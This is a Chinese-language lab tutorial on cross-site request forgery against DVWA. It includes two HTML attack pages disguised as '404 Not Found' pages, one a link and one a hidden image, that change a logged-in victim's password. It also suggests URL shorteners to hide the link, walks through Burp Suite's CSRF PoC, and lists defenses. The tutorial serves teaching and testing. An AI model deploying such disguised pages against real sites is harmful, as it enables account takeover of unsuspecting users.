1.漏洞介绍
CSRF跨站点请求伪造(Cross—Site Request Forgery),攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。https://www.freebuf.com/articles/web/253838.html CSRF和XSS的最大的区别在于,CSRF并没有盗取cookie而是直接利用。
下图详细的解释了CSRF漏洞详情
2.CSRF在DVWA中的利用
2.1 漏洞利用
设置级别为low级别,发现改变密码的链接就在标题栏中,因此,参考图里的第3步,只要恶意攻击者构造标题栏中的代码
诱骗用户点击,就会发出第三方的请求,伪造用户他自己的身份,修改密码。
当然,一般情况下,你丢一个这样的链接给受害者,只要不是傻子或者单纯的妹子,基本上都是能识别的,因此可以对此进行隐藏,比如:短链接。
下面进行CSRF的高级漏洞利用,记事本填下下面代码保存为 csrf.html
<html>
<head>
<title>404 Not Found</title>
</head>
<body><h1>Not Found</h1>
<p>The requested URL was not found on this server.</p >
<a href="http://192.168.59.156/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">Return</a>
</body>
</html>
登录dvwa后,注意保证同一浏览器,诱导用户点击 csrf.html,用户在点击 “return”后,密码被更改
注:此处本来使用 隐藏图片 形式,通过页面加载图片的形式访问攻击页面,但刷新页面之后密码并未改变。
使用抓包工具测试,发现隐藏图片的方法不带cookie ,然而,点击式链接会自带Cookies
。https://www.cnblogs.com/cheuhxg/p/14473162.html
后来换了火狐浏览器,发现可以做到隐藏式的利用,利用的代码的如下:
<html>
<head>
<title>404 Not Found</title>
</head>
<body><h1>Not Found</h1>
<p>The requested URL was not found on this server.</p >
<img src="http://192.168.59.156/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<!--<a href="http://192.168.59.156/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">Return</a>
--->
</body>
</html>
诱导用户访问后,显示报错,但是不知不觉时用户密码已经被修改
2.2 漏洞验证
下面在介绍一下burpsuit如何验证csrf的漏洞
1.创建用户bp抓取到提交的表单右键如图发送到CSRF Poc中
2.如图更改参数
Csrf在burp是这样表达的,你访问了正常网站(burp抓正常数据包),再访问csrf漏洞网站(bp没有这块,bp就是发送到CSRF Poc),攻击者利用你浏览器本地cookie信息,进行恶意请求(参数修改过程),比如修改密码账号。访问结果(html测试结果)
3.中间会生成一个链接复制好到地址栏粘贴打开(注意要在开着bp的代理情况下访问该复制的链接),出现一个按钮点击提交发送请求
4. 然后在bp中放行,修改密码,证明存在csrf漏洞
3.防御手段
1.验证HTTP Referer字段
2.请求地址中添加token并验证
3.在HTTP头中自定义属性并验证
4.在服务端严格区分好POST与GET的数据请求
5.使用验证码或者密码确认方式进行